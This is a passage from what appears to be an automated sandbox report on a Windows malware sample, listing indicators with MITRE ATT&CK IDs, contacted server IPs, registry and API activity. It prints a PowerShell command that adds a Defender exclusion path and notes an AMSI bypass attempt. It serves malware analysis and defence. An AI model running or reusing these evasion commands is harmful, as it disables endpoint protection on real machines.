string)","description":"Found reference to API \"CryptUnprotectMemory\" (Indicator: \"CryptUnprotectMemory\"; File: \"22c44c550563220ca7ebfcfc28351b9f.exe\")\n Found reference to API \"CryptUnprotectMemory failed\" (Indicator: \"CryptUnprotectMemory\"; File: \"22c44c550563220ca7ebfcfc28351b9f.exe\")\n Found reference to API \"CryptUnprotectMemory failed\" (Indicator: \"CryptUnprotectMemory\"; Source: \"00000000-00005280.00000000.140497.00E6A000.00000002.mdmp\")\n Found reference to API \"CryptUnprotectMemory\" (Indicator: \"CryptUnprotectMemory\"; Source: \"00000000-00005280.00000000.140497.00E6A000.00000002.mdmp\")\n Found reference to API \"CryptDecrypt\" (Indicator: \"CryptDecrypt\"; Source: \"00000000-00006620.00000000.141393.02F00000.00000004.mdmp\")","origin":"File/Memory","mitre_attack_id":"T1140","relevance":1,"id":"string-212","sources":[{"report_type":"sandbox","report_id":"661e47b589f558a5120abe12"}]},{"level":"informative","category":"Cryptographic Related","name":"Contains ability to perform encryption (API string)","description":"Found reference to API \"CryptProtectMemory\" (Indicator: \"CryptProtectMemory\"; File: \"22c44c550563220ca7ebfcfc28351b9f.exe\")\n Found reference to API \"CryptProtectMemory failed\" (Indicator: \"CryptProtectMemory\"; File: \"22c44c550563220ca7ebfcfc28351b9f.exe\")\n Found reference to API \"CryptProtectMemory failed\" (Indicator: \"CryptProtectMemory\"; Source: \"00000000-00005280.00000000.140497.00E6A000.00000002.mdmp\")\n Found reference to API \"CryptProtectMemory\" (Indicator: \"CryptProtectMemory\"; Source: \"00000000-00005280.00000000.140497.00E6A000.00000002.mdmp\")\n Found reference to API \"Uses CryptProtectData and CryptUnProtectData Windows APIs to encrypt and decrypt\" (Indicator: \"CryptProtectData\"; Source: \"00000000-00007212.00000000.140864.05710000.00000004.mdmp\")\n Found reference to API \"description=\"Uses CryptProtectData and CryptUnProtectData Windows APIs to encrypt and decrypt\"\" (Indicator: \"CryptProtectData\"; Source: \"00000000-00007212.00000000.140864.05710000.00000004.mdmp\")","origin":"File/Memory","mitre_attack_id":"T1486","relevance":1,"id":"string-108","sources":[{"report_type":"sandbox","report_id":"661e47b589f558a5120abe12"}]},{"level":"informative","category":"Cryptographic Related","name":"Contains ability to perform encryption/decryption using RSA algorithm","description":"Found string \"Uses RsaCryptoServiceProvider to encrypt and decrypt\" (Indicator: \"RSACryptoServiceProvider\"; Source: \"00000000-00007212.00000000.140864.05710000.00000004.mdmp\")\n Found string \"description=\"Uses RsaCryptoServiceProvider to encrypt and decrypt\"\" (Indicator: \"RSACryptoServiceProvider\"; Source: \"00000000-00007212.00000000.140864.05710000.00000004.mdmp\")","origin":"File/Memory","mitre_attack_id":"T1573.002","relevance":1,"id":"string-352","sources":[{"report_type":"sandbox","report_id":"661e47b589f558a5120abe12"}]},{"level":"informative","category":"Cryptographic Related","name":"Contains reference to cryptographic keys","description":"Found string \"http://www.w3.org/2001/04/xmlenc# EncryptedKey\" (Indicator: \"encryptedkey\"; Source: \"00000000-00007212.00000000.140864.05710000.00000004.mdmp\")\n Found string \"System.Security.Cryptography.Xml.KeyInfoEncryptedKey, System.Security, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b03f5f7f11d50a3a\" (Indicator: \"encryptedkey\"; Source: \"00000000-00007212.00000000.140864.05710000.00000004.mdmp\")","origin":"File/Memory","mitre_attack_id":"T1486","relevance":1,"id":"string-280","sources":[{"report_type":"sandbox","report_id":"661e47b589f558a5120abe12"}]},{"level":"informative","category":"Cryptographic Related","name":"HTTP requests contain Base64 strings","description":"$2c","origin":"Network Traffic","mitre_attack_id":"T1132","relevance":1,"id":"network-60","sources":[{"report_type":"sandbox","report_id":"661e47b589f558a5120abe12"}]},{"level":"informative","category":"Cryptographic Related","name":"Sample file has high entropy (likely encrypted/compressed content)","description":"Sample file \"sample.bin\" has high entropy 7.803150640969953","origin":"Binary File","mitre_attack_id":"T1027","relevance":1,"id":"binary-71","sources":[{"report_type":"sandbox","report_id":"661e47b589f558a5120abe12"}]},{"level":"informative","category":"Cryptographic Related","name":"Shows ability to deobfuscate/decode files or information","description":"The analysis shows use of encryption and can be used to decode file or information. Matched sigs: Contains XOR operation loops [Stream disassembly]\n Matched sigs: YARA signature match - AES Encryption\n Matched sigs: HTTP requests contain Base64 strings","origin":"Indicator Combinations","mitre_attack_id":"T1140","relevance":1,"id":"summary-32","sources":[{"report_type":"sandbox","report_id":"661e47b589f558a5120abe12"}]},{"level":"informative","category":"Cryptographic Related","name":"Shows ability to obfuscate file or information","description":"$2d","origin":"Indicator Combinations","mitre_attack_id":"T1027","relevance":1,"id":"summary-28","sources":[{"report_type":"sandbox","report_id":"661e47b589f558a5120abe12"}]},{"level":"informative","category":"Cryptographic Related","name":"Shows ability to use encryption for command and control traffic","description":"The analysis shows use of encryption\n use of http/https that can be used to send encrypted data on command and control server. Matched sigs: Contains XOR operation loops [Stream disassembly]\n Matched sigs: YARA signature match - AES Encryption\n Matched sigs: Found potential URL in binary/memory\n Matched sigs: Contains ability to communicate with network (API string)\n Matched sigs: Spawned process connects to a network\n Matched sigs: Found potential IP address in binary/memory\n Matched sigs: Found potential URLs in memory dumps\n Matched sigs: Contacts server","origin":"Indicator Combinations","mitre_attack_id":"T1573.001","relevance":1,"id":"summary-31","sources":[{"report_type":"sandbox","report_id":"661e47b589f558a5120abe12"}]},{"level":"informative","category":"Environment Awareness","name":"Calls an API possibly used to retrieve a handle to the foreground window","description":"\"22c44c550563220ca7ebfcfc28351b9f.exe\" called \"GetForegroundWindow\" (UID: 00000000-00005280)\n \"Po.exe\" called \"GetForegroundWindow\" (UID: 00000000-00007212)","origin":"API Call","mitre_attack_id":"T1010","relevance":3,"id":"api-142","sources":[{"report_type":"sandbox","report_id":"661e47b589f558a5120abe12"}]},{"level":"informative","category":"Environment Awareness","name":"Calls an API typically used to determine if process is running under WOW64","description":"\"Po.exe\" called \"IsWow64Process\" with parameter \"7212\" - (UID: 00000000-00007212)\n \"powershell.exe\" called \"IsWow64Process\" with parameter \"6620\" - (UID: 00000000-00006620)\n \"Po.exe\" called \"IsWow64Process\" with parameter \"7860\" - (UID: 00000000-00007860)","origin":"API Call","mitre_attack_id":"T1057","relevance":3,"id":"api-146","sources":[{"report_type":"sandbox","report_id":"661e47b589f558a5120abe12"}]},{"level":"informative","category":"Environment Awareness","name":"Calls an API typically used to enumerate active windows","description":"\"powershell.exe\" called \"EnumWindows\" with parameter \"0\" - (UID: 00000000-00006620)","origin":"API Call","mitre_attack_id":"T1010","relevance":3,"id":"api-152","sources":[{"report_type":"sandbox","report_id":"661e47b589f558a5120abe12"}]},{"level":"informative","category":"Environment Awareness","name":"Calls an API typically used to get active windows title","description":"\"22c44c550563220ca7ebfcfc28351b9f.exe\" called \"GetWindowTextW\" with parameter \"%TEMP%\\RarSFX0\" - (UID: 00000000-00005280)","origin":"API Call","mitre_attack_id":"T1010","relevance":3,"id":"api-151","sources":[{"report_type":"sandbox","report_id":"661e47b589f558a5120abe12"}]},{"level":"informative","category":"Environment Awareness","name":"Calls an API typically used to get product type","description":"\"22c44c550563220ca7ebfcfc28351b9f.exe\" called \"RtlGetNtProductType\" with parameter 01000000 (UID: 00000000-00005280)","origin":"API Call","mitre_attack_id":"T1082","relevance":3,"id":"api-124","sources":[{"report_type":"sandbox","report_id":"661e47b589f558a5120abe12"}]},{"level":"informative","category":"Environment Awareness","name":"Calls an API typically used to get system version information","description":"$2e","origin":"API Call","mitre_attack_id":"T1082","relevance":3,"id":"api-125","sources":[{"report_type":"sandbox","report_id":"661e47b589f558a5120abe12"}]},{"level":"informative","category":"Environment Awareness","name":"Calls an API typically used to open an existing named mutex object","description":"\"Po.exe\" called \"OpenMutexW\" with parameter \"mVjvCQSzha\" - (UID: 00000000-00007212)","origin":"API Call","mitre_attack_id":"T1082","relevance":3,"id":"api-144","sources":[{"report_type":"sandbox","report_id":"661e47b589f558a5120abe12"}]},{"level":"informative","category":"Environment Awareness","name":"Calls an API typically used to retrieve OS information","description":"$2f","origin":"API Call","mitre_attack_id":"T1082","relevance":2,"id":"api-222","sources":[{"report_type":"sandbox","report_id":"661e47b589f558a5120abe12"}]},{"level":"informative","category":"Environment Awareness","name":"Calls an API typically used to retrieve account information for specified SID","description":"\"Po.exe\" called \"LookupAccountSidW\" with param Name SYSTEM (UID: 00000000-00007212)\n \"powershell.exe\" called \"LookupAccountSidW\" with param Name NETWORK SERVICE (UID: 00000000-00006620)\n \"powershell.exe\" called \"LookupAccountSidW\" with param Name SYSTEM (UID: 00000000-00006620)","origin":"API Call","mitre_attack_id":"T1033","relevance":3,"id":"api-148","sources":[{"report_type":"sandbox","report_id":"661e47b589f558a5120abe12"}]},{"level":"informative","category":"Environment Awareness","name":"Calls an API typically used to retrieve default language settings","description":"\"22c44c550563220ca7ebfcfc28351b9f.exe\" called \"GetSystemDefaultLangID\" (UID: 00000000-00005280)","origin":"API Call","mitre_attack_id":"T1614.001","relevance":3,"id":"api-149","sources":[{"report_type":"sandbox","report_id":"661e47b589f558a5120abe12"}]},{"level":"informative","category":"Environment Awareness","name":"Calls an API typically used to retrieve local language","description":"\"Po.exe\" called \"GetLocaleInfoW\" with parameter \"9\" - (UID: 00000000-00007212)\n \"powershell.exe\" called \"GetLocaleInfoW\" with parameter \"9\" - (UID: 00000000-00006620)\n \"powershell.exe\" called \"GetLocaleInfoW\" with parameter \"1033\" - (UID: 00000000-00006620)","origin":"API Call","mitre_attack_id":"T1614","relevance":3,"id":"api-147","sources":[{"report_type":"sandbox","report_id":"661e47b589f558a5120abe12"}]},{"level":"informative","category":"Environment Awareness","name":"Contains ability to determine if process is running under WOW64 (API string)","description":"Found reference to API \"IsWow64Process\" (Indicator: \"IsWow64Process\"; Source: \"00000000-00006620.00000000.141393.000A1000.00000002.mdmp\")\n Found reference to API \"IsWow64Process\" (Indicator: \"IsWow64Process\"; Source: \"00000000-00007212.00000000.140864.713A1000.00000020.mdmp\")","origin":"File/Memory","mitre_attack_id":"T1057","relevance":1,"id":"string-450","sources":[{"report_type":"sandbox","report_id":"661e47b589f558a5120abe12"}]},{"level":"informative","category":"Environment Awareness","name":"Contains ability to find open windows (API string)","description":"Found reference to API \"FindWindowExW\" (Indicator: \"FindWindowExW\"; File: \"22c44c550563220ca7ebfcfc28351b9f.exe\")\n Found reference to API \"FindWindowExW\" (Indicator: \"FindWindowExW\"; Source: \"00000000-00005280.00000000.140497.00E6A000.00000002.mdmp\")","origin":"File/Memory","mitre_attack_id":"T1010","relevance":1,"id":"string-413","sources":[{"report_type":"sandbox","report_id":"661e47b589f558a5120abe12"}]},{"level":"informative","category":"Environment Awareness","name":"Contains ability to perform scheduled transfer (API string)","description":"$30","origin":"File/Memory","mitre_attack_id":"T1029","relevance":1,"id":"string-365","sources":[{"report_type":"sandbox","report_id":"661e47b589f558a5120abe12"}]},{"level":"informative","category":"Environment Awareness","name":"Contains ability to query system locale (API string)","description":"Found reference to API \"GetLocaleInfoW\" (Indicator: \"GetLocaleInfo\"; File: \"22c44c550563220ca7ebfcfc28351b9f.exe\")\n Found reference to API \"GetLocaleInfoW\" (Indicator: \"GetLocaleInfo\"; Source: \"00000000-00005280.00000000.140497.00E6A000.00000002.mdmp\")\n Found reference to API \"GetLocaleInfoW\" (Indicator: \"GetLocaleInfo\"; Source: \"00000000-00006620.00000000.141393.000A1000.00000002.mdmp\")","origin":"File/Memory","mitre_attack_id":"T1614","relevance":1,"id":"string-201","sources":[{"report_type":"sandbox","report_id":"661e47b589f558a5120abe12"}]},{"level":"informative","category":"Environment Awareness","name":"Contains ability to read software policies","description":"$31","origin":"Registry Access","mitre_attack_id":"T1082","relevance":1,"id":"registry-78","sources":[{"report_type":"sandbox","report_id":"661e47b589f558a5120abe12"}]},{"level":"informative","category":"Environment Awareness","name":"Contains ability to retrieve file time (API string)","description":"$32","origin":"File/Memory","mitre_attack_id":"T1070.006","relevance":1,"id":"string-249","sources":[{"report_type":"sandbox","report_id":"661e47b589f558a5120abe12"}]},{"level":"informative","category":"Environment Awareness","name":"Contains ability to retrieve information about the current system (API string)","description":"$33","origin":"File/Memory","mitre_attack_id":"T1082","relevance":1,"id":"string-89","sources":[{"report_type":"sandbox","report_id":"661e47b589f558a5120abe12"}]},{"level":"informative","category":"Environment Awareness","name":"Contains ability to retrieve machine time (API string)","description":"$34","origin":"File/Memory","mitre_attack_id":"T1124","relevance":1,"id":"string-247","sources":[{"report_type":"sandbox","report_id":"661e47b589f558a5120abe12"}]},{"level":"informative","category":"Environment Awareness","name":"Contains ability to retrieve open application windows (API string)","description":"Found reference to API \"FindWindowExW\" (Indicator: \"FindWindow\"; File: \"22c44c550563220ca7ebfcfc28351b9f.exe\")\n Found reference to API \"FindWindowExW\" (Indicator: \"FindWindow\"; Source: \"00000000-00005280.00000000.140497.00E6A000.00000002.mdmp\")\n Found reference to API \"GetForegroundWindow\" (Indicator: \"GetForegroundWindow\"; Source: \"00000000-00005280.00000000.140497.72707000.00000002.mdmp\")","origin":"File/Memory","mitre_attack_id":"T1010","relevance":1,"id":"string-141","sources":[{"report_type":"sandbox","report_id":"661e47b589f558a5120abe12"}]},{"level":"informative","category":"Environment Awareness","name":"Contains ability to retrieve system language (API string)","description":"Found reference to API \"GetKeyboardLayout\" (Indicator: \"GetKeyboardLayout\"; Source: \"00000000-00005280.00000000.140497.72707000.00000002.mdmp\")\n Found reference to API \"GetSystemDefaultUILanguage\" (Indicator: \"GetSystemDefaultUILanguage\"; Source: \"00000000-00006620.00000000.141393.000A1000.00000002.mdmp\")\n Found reference to API \"GetUserDefaultUILanguage\" (Indicator: \"GetUserDefaultUILanguage\"; Source: \"00000000-00006620.00000000.141393.000A1000.00000002.mdmp\")","origin":"File/Memory","mitre_attack_id":"T1614.001","relevance":1,"id":"string-143","sources":[{"report_type":"sandbox","report_id":"661e47b589f558a5120abe12"}]},{"level":"informative","category":"Environment Awareness","name":"Contains ability to retrieve the OS information (API string)","description":"$35","origin":"File/Memory","mitre_attack_id":"T1082","relevance":1,"id":"string-171","sources":[{"report_type":"sandbox","report_id":"661e47b589f558a5120abe12"}]},{"level":"informative","category":"Environment Awareness","name":"Contains ability to retrieve the contents of the STARTUPINFO structure (API string)","description":"Found reference to API \"GetStartupInfoW\" (Indicator: \"GetStartupInfo\"; File: \"22c44c550563220ca7ebfcfc28351b9f.exe\")","origin":"File/Memory","mitre_attack_id":"T1543","relevance":1,"id":"string-167","sources":[{"report_type":"sandbox","report_id":"661e47b589f558a5120abe12"}]},{"level":"informative","category":"Environment Awareness","name":"Queries TCP/IP interface details","description":"$36","origin":"Registry Access","mitre_attack_id":"T1012","relevance":1,"id":"registry-130","sources":[{"report_type":"sandbox","report_id":"661e47b589f558a5120abe12"}]},{"level":"informative","category":"Environment Awareness","name":"Queries list of installed browsers","description":"$37","origin":"Registry Access","mitre_attack_id":"T1005","relevance":1,"id":"registry-137","sources":[{"report_type":"sandbox","report_id":"661e47b589f558a5120abe12"}]},{"level":"informative","category":"Environment Awareness","name":"Queries volume information","description":"$38","origin":"API Call","mitre_attack_id":"T1082","relevance":2,"id":"api-11","sources":[{"report_type":"sandbox","report_id":"661e47b589f558a5120abe12"}]},{"level":"informative","category":"Environment Awareness","name":"Queries volume information of an entire harddrive","description":"\"powershell.exe\" queries volume information of \"C:\\\" at 00000000-00006620-00000C15-1223379931","origin":"API Call","mitre_attack_id":"T1082","relevance":8,"id":"api-39","sources":[{"report_type":"sandbox","report_id":"661e47b589f558a5120abe12"}]},{"level":"informative","category":"Environment Awareness","name":"Reads the active computer name","description":"\"22c44c550563220ca7ebfcfc28351b9f.exe\" (Path: \"HKLM\\SYSTEM\\CONTROLSET001\\CONTROL\\COMPUTERNAME\\ACTIVECOMPUTERNAME\"; Key: \"COMPUTERNAME\")\n \"Po.exe\" (Path: \"HKLM\\SYSTEM\\CONTROLSET001\\CONTROL\\COMPUTERNAME\\ACTIVECOMPUTERNAME\"; Key: \"COMPUTERNAME\")\n \"powershell.exe\" (Path: \"HKLM\\SYSTEM\\CONTROLSET001\\CONTROL\\COMPUTERNAME\\ACTIVECOMPUTERNAME\"; Key: \"COMPUTERNAME\")","origin":"Registry Access","mitre_attack_id":"T1082","relevance":5,"id":"registry-35","sources":[{"report_type":"sandbox","report_id":"661e47b589f558a5120abe12"}]},{"level":"informative","category":"Environment Awareness","name":"Reads the cryptographic machine GUID","description":"\"Po.exe\" (Path: \"HKLM\\SOFTWARE\\MICROSOFT\\CRYPTOGRAPHY\"; Key: \"MACHINEGUID\")\n \"powershell.exe\" (Path: \"HKLM\\SOFTWARE\\MICROSOFT\\CRYPTOGRAPHY\"; Key: \"MACHINEGUID\")","origin":"Registry Access","mitre_attack_id":"T1082","relevance":5,"id":"registry-1","sources":[{"report_type":"sandbox","report_id":"661e47b589f558a5120abe12"}]},{"level":"informative","category":"Environment Awareness","name":"Reads the registry for installed applications","description":"$39","origin":"Registry Access","mitre_attack_id":"T1518","relevance":10,"id":"registry-55","sources":[{"report_type":"sandbox","report_id":"661e47b589f558a5120abe12"}]},{"level":"informative","category":"Environment Awareness","name":"Tries to retrieve device driver information","description":"\"Po.exe\" (Access type: \"OPEN\"; Path: \"HKLM\\SYSTEM\\CURRENTCONTROLSET\\SERVICES\\SANDBOXFLTR\"; Key: \"\"; Value: \"\")","origin":"Registry Access","mitre_attack_id":"T1652","relevance":1,"id":"registry-174","sources":[{"report_type":"sandbox","report_id":"661e47b589f558a5120abe12"}]},{"level":"informative","category":"General","name":"Accesses Software Policy Settings","description":"\"powershell.exe\" (Path: \"HKCU\\SOFTWARE\\POLICIES\\MICROSOFT\\SYSTEMCERTIFICATES\\DISALLOWED\"; Key: \"\")\n \"powershell.exe\" (Path: \"HKCU\\SOFTWARE\\POLICIES\\MICROSOFT\\SYSTEMCERTIFICATES\\DISALLOWED\\CERTIFICATES\"; Key: \"\")\n \"powershell.exe\" (Path: \"HKCU\\SOFTWARE\\POLICIES\\MICROSOFT\\SYSTEMCERTIFICATES\\DISALLOWED\\CRLS\"; Key: \"\")\n \"powershell.exe\" (Path: \"HKCU\\SOFTWARE\\POLICIES\\MICROSOFT\\SYSTEMCERTIFICATES\\DISALLOWED\\CTLS\"; Key: \"\")\n \"powershell.exe\" (Path: \"HKLM\\SOFTWARE\\POLICIES\\MICROSOFT\\SYSTEMCERTIFICATES\\DISALLOWED\"; Key: \"\")\n \"powershell.exe\" (Path: \"HKLM\\SOFTWARE\\POLICIES\\MICROSOFT\\SYSTEMCERTIFICATES\\DISALLOWED\\CERTIFICATES\"; Key: \"\")\n \"powershell.exe\" (Path: \"HKLM\\SOFTWARE\\POLICIES\\MICROSOFT\\SYSTEMCERTIFICATES\\DISALLOWED\\CRLS\"; Key: \"\")\n \"powershell.exe\" (Path: \"HKLM\\SOFTWARE\\POLICIES\\MICROSOFT\\SYSTEMCERTIFICATES\\DISALLOWED\\CTLS\"; Key: \"\")","origin":"Registry Access","mitre_attack_id":"T1012","relevance":10,"id":"registry-18","sources":[{"report_type":"sandbox","report_id":"661e47b589f558a5120abe12"}]},{"level":"informative","category":"General","name":"Accesses System Certificates Settings","description":"\"powershell.exe\" (Path: \"HKCU\\SOFTWARE\\MICROSOFT\\SYSTEMCERTIFICATES\\DISALLOWED\"; Key: \"\")\n \"powershell.exe\" (Path: \"HKCU\\SOFTWARE\\MICROSOFT\\SYSTEMCERTIFICATES\\DISALLOWED\\CERTIFICATES\"; Key: \"\")\n \"powershell.exe\" (Path: \"HKCU\\SOFTWARE\\MICROSOFT\\SYSTEMCERTIFICATES\\DISALLOWED\\CRLS\"; Key: \"\")\n \"powershell.exe\" (Path: \"HKCU\\SOFTWARE\\MICROSOFT\\SYSTEMCERTIFICATES\\DISALLOWED\\CTLS\"; Key: \"\")\n \"powershell.exe\" (Path: \"HKLM\\SOFTWARE\\MICROSOFT\\SYSTEMCERTIFICATES\\DISALLOWED\"; Key: \"\")\n \"powershell.exe\" (Path: \"HKLM\\SOFTWARE\\MICROSOFT\\SYSTEMCERTIFICATES\\DISALLOWED\\CERTIFICATES\"; Key: \"\")\n \"powershell.exe\" (Path: \"HKLM\\SOFTWARE\\MICROSOFT\\SYSTEMCERTIFICATES\\DISALLOWED\\CRLS\"; Key: \"\")\n \"powershell.exe\" (Path: \"HKLM\\SOFTWARE\\MICROSOFT\\SYSTEMCERTIFICATES\\DISALLOWED\\CTLS\"; Key: \"\")\n \"powershell.exe\" (Path: \"HKLM\\SOFTWARE\\MICROSOFT\\SYSTEMCERTIFICATES\\DISALLOWED\\CTLS\\27748148BBE67A43CDBFEC6C3784862CE134E6EA\"; Key: \"BLOB\")","origin":"Registry Access","mitre_attack_id":"T1112","relevance":10,"id":"registry-17","sources":[{"report_type":"sandbox","report_id":"661e47b589f558a5120abe12"}]},{"level":"informative","category":"General","name":"Calls GetProcAddress on AmsiScanBuffer function (may used to bypass AMSI)","description":"\"Po.exe\" called \"GetProcAddress\" with a parameter \"AmsiScanBuffer\" (UID: 00000000-00007212)\n \"powershell.exe\" called \"GetProcAddress\" with a parameter \"AmsiScanBuffer\" (UID: 00000000-00006620)","origin":"API Call","mitre_attack_id":"T1562.001","relevance":1,"id":"api-179","sources":[{"report_type":"sandbox","report_id":"661e47b589f558a5120abe12"}]},{"level":"informative","category":"General","name":"Calls an API typically used to copy file from one location to another","description":"$3a","origin":"API Call","mitre_attack_id":"T1005","relevance":3,"id":"api-123","sources":[{"report_type":"sandbox","report_id":"661e47b589f558a5120abe12"}]},{"level":"informative","category":"General","name":"Calls an API typically used to create a directory","description":"\"22c44c550563220ca7ebfcfc28351b9f.exe\" called \"CreateDirectoryW\" with parameter %TEMP%\\RarSFX0 (UID: 00000000-00005280)\n \"22c44c550563220ca7ebfcfc28351b9f.exe\" called \"CreateDirectoryW\" with parameter C:\\Users (UID: 00000000-00005280)\n \"22c44c550563220ca7ebfcfc28351b9f.exe\" called \"CreateDirectoryW\" with parameter C:\\Users\\%OSUSER% (UID: 00000000-00005280)\n \"22c44c550563220ca7ebfcfc28351b9f.exe\" called \"CreateDirectoryW\" with parameter %USERPROFILE%\\AppData (UID: 00000000-00005280)\n \"22c44c550563220ca7ebfcfc28351b9f.exe\" called \"CreateDirectoryW\" with parameter %USERPROFILE%\\AppData\\Local (UID: 00000000-00005280)\n \"22c44c550563220ca7ebfcfc28351b9f.exe\" called \"CreateDirectoryW\" with parameter %LOCALAPPDATA%\\Temp (UID: 00000000-00005280)\n \"Po.exe\" called \"CreateDirectoryW\" with parameter %LOCALAPPDATA%\\Yandex (UID: 00000000-00007860)\n \"Po.exe\" called \"CreateDirectoryW\" with parameter %LOCALAPPDATA%\\Yandex\\YaAddon (UID: 00000000-00007860)","origin":"API Call","mitre_attack_id":"T1074.001","relevance":3,"id":"api-122","sources":[{"report_type":"sandbox","report_id":"661e47b589f558a5120abe12"}]},{"level":"informative","category":"General","name":"Calls an API typically used to create a process","description":"\"22c44c550563220ca7ebfcfc28351b9f.exe\" called \"CreateProcessW\" with parameter \"\"%TEMP%\\RarSFX0\\Po.exe\"\" - (UID: 00000000-00005280)\n \"Po.exe\" called \"CreateProcessW\" with parameter \"\"%WINDIR%\\System32\\WindowsPowerShell\\v1.0\\powershell.exe\" Add-MpPreference -ExclusionPath \"%TEMP%\\R\" - (UID: 00000000-00007212), \"Po.exe\" called \"CreateProcessA\" with parameter \"%TEMP%\\RarSFX0\\Po.exe\" - (UID: 00000000-00007212)","origin":"API Call","mitre_attack_id":"T1106","relevance":5,"id":"api-128","sources":[{"report_type":"sandbox","report_id":"661e47b589f558a5120abe12"}]},{"level":"informative","category":"General","name":"Calls an API typically used to create an instance of a named pipe","description":"\"powershell.exe\" called \"NtCreateNamedPipeFile\" with parameter \"pipe\\PSHost.133577593304012052.6620.DefaultAppDomain.powershell\" - (UID: 00000000-00006620)","origin":"API Call","mitre_attack_id":"T1570","relevance":3,"id":"api-138","sources":[{"report_type":"sandbox","report_id":"661e47b589f558a5120abe12"}]},{"level":"informative","category":"General","name":"Calls an API typically used to load libraries","description":"$3b","origin":"API Call","mitre_attack_id":"T1129","relevance":1,"id":"api-175","sources":[{"report_type":"sandbox","report_id":"661e47b589f558a5120abe12"}]},{"level":"informative","category":"General","name":"Calls an API typically used to retrieve function addresses","description":"details too long to display","origin":"API Call","mitre_attack_id":"T1106","relevance":1,"id":"api-176","sources":[{"report_type":"sandbox","report_id":"661e47b589f558a5120abe12"}]},{"level":"informative","category":"General","name":"Contacts server","description":"\"185.222.58.87:55615\"\n \"104.26.13.31:443\"","origin":"Network Traffic","mitre_attack_id":"T1071","relevance":1,"id":"network-1","sources":[{"report_type":"sandbox","report_id":"661e47b589f558a5120abe12"}]},{"level":"informative","category":"General","name":"Contains PDB pathways","description":"\"D:\\Projects\\WinRAR\\sfx\\build\\sfxzip32\\Release\\sfxzip.pdb\"","origin":"File/Memory","relevance":1,"id":"string-7","sources":[{"report_type":"sandbox","report_id":"661e47b589f558a5120abe12"}]},{"level":"informative","category":"General","name":"Contains ability to create directories (API string)","description":"Found reference to API \"CreateDirectoryW\" (Indicator: \"CreateDirectory\"; File: \"22c44c550563220ca7ebfcfc28351b9f.exe\")\n Found reference to API \"CreateDirectoryW\" (Indicator: \"CreateDirectory\"; Source: \"00000000-00005280.00000000.140497.00E6A000.00000002.mdmp\")","origin":"File/Memory","mitre_attack_id":"T1074.001","relevance":1,"id":"string-423","sources":[{"report_type":"sandbox","report_id":"661e47b589f558a5120abe12"}]},{"level":"informative","category":"General","name":"Contains ability to create/load registry keys (API string)","description":"Found reference to API \"RegCreateKeyExW\" (Indicator: \"RegCreateKey\"; File: \"22c44c550563220ca7ebfcfc28351b9f.exe\")\n Found reference to API \"RegCreateKeyExW\" (Indicator: \"RegCreateKey\"; Source: \"00000000-00005280.00000000.140497.00E6A000.00000002.mdmp, 00000000-00005280.00000000.140497.72707000.00000002.mdmp\")","origin":"File/Memory","mitre_attack_id":"T1112","relevance":1,"id":"string-307","sources":[{"report_type":"sandbox","report_id":"661e47b589f558a5120abe12"}]},{"level":"informative","category":"General","name":"Contains ability to create/open files (API string)","description":"Found reference to API \"CreateFileW\" (Indicator: \"CreateFile\"; File: \"22c44c550563220ca7ebfcfc28351b9f.exe\")\n Found reference to API \"CreateFileMappingW\" (Indicator: \"CreateFile\"; File: \"22c44c550563220ca7ebfcfc28351b9f.exe\")\n Found reference to API \"CreateFileW\" (Indicator: \"CreateFile\"; Source: \"00000000-00005280.00000000.140497.00E6A000.00000002.mdmp\")\n Found reference to API \"CreateFileMappingW\" (Indicator: \"CreateFile\"; Source: \"00000000-00005280.00000000.140497.00E6A000.00000002.mdmp\")\n Found reference to API \"CreateFileW\" (Indicator: \"CreateFile\"; Source: \"00000000-00006620.00000000.141393.000A1000.00000002.mdmp, 00000000-00006620.00000000.141393.72745000.00000002.mdmp\")\n Found reference to API \"CreateFileMappingW\" (Indicator: \"CreateFile\"; Source: \"00000000-00006620.00000000.141393.000A1000.00000002.mdmp\")","origin":"File/Memory","mitre_attack_id":"T1106","relevance":1,"id":"string-315","sources":[{"report_type":"sandbox","report_id":"661e47b589f558a5120abe12"}]},{"level":"informative","category":"General","name":"Contains ability to disable/close registry key (API string)","description":"Found reference to API \"RegCloseKey\" (Indicator: \"RegCloseKey\"; File: \"22c44c550563220ca7ebfcfc28351b9f.exe\")\n Found reference to API \"RegCloseKey\" (Indicator: \"RegCloseKey\"; Source: \"00000000-00005280.00000000.140497.00E6A000.00000002.mdmp, 00000000-00005280.00000000.140497.72707000.00000002.mdmp\")\n Found reference to API \"RegCloseKey\" (Indicator: \"RegCloseKey\"; Source: \"00000000-00006620.00000000.141393.000A1000.00000002.mdmp\")","origin":"File/Memory","mitre_attack_id":"T1112","relevance":1,"id":"string-345","sources":[{"report_type":"sandbox","report_id":"661e47b589f558a5120abe12"}]},{"level":"informative","category":"General","name":"Contains ability to download files with network (Dotnet)","description":"Observed Namespace \"System.Net.WebClient\" and MemberReference \"DownloadData\" in \"PO.exe\"","origin":"Static Parser","mitre_attack_id":"T1105","relevance":1,"id":"static-99","sources":[{"report_type":"sandbox","report_id":"661e47b589f558a5120abe12"}]},{"level":"informative","category":"General","name":"Contains ability to execute Windows APIs","description":"$3c","origin":"File/Memory","mitre_attack_id":"T1106","relevance":1,"id":"string-101","sources":[{"report_type":"sandbox","report_id":"661e47b589f558a5120abe12"}]},{"level":"informative","category":"General","name":"Contains ability to execute an application (API string)","description":"Found reference to API \"ShellExecuteExW\" (Indicator: \"ShellExecute\"; File: \"22c44c550563220ca7ebfcfc28351b9f.exe\")\n Found reference to API \"yncShellExecute\" (Indicator: \"ShellExecute\"; Source: \"00000000-00005280.00000000.140497.00CB0000.00000004.mdmp\")\n Found reference to API \"ShellExecuteExW\" (Indicator: \"ShellExecute\"; Source: \"00000000-00005280.00000000.140497.00E6A000.00000002.mdmp\")","origin":"File/Memory","mitre_attack_id":"T1106","relevance":1,"id":"string-240","sources":[{"report_type":"sandbox","report_id":"661e47b589f558a5120abe12"}]},{"level":"informative","category":"General","name":"Contains ability to find and load resources of specific modules (API string)","description":"$3d","origin":"File/Memory","mitre_attack_id":"T1106","relevance":1,"id":"string-550","sources":[{"report_type":"sandbox","report_id":"661e47b589f558a5120abe12"}]},{"level":"informative","category":"General","name":"Contains ability to move file or directory (API string)","description":"Found reference to API \"MoveFileW\" (Indicator: \"MoveFile\"; File: \"22c44c550563220ca7ebfcfc28351b9f.exe\")\n Found reference to API \"MoveFileExW\" (Indicator: \"MoveFile\"; File: \"22c44c550563220ca7ebfcfc28351b9f.exe\")\n Found reference to API \"MoveFileW\" (Indicator: \"MoveFile\"; Source: \"00000000-00005280.00000000.140497.00E6A000.00000002.mdmp\")\n Found reference to API 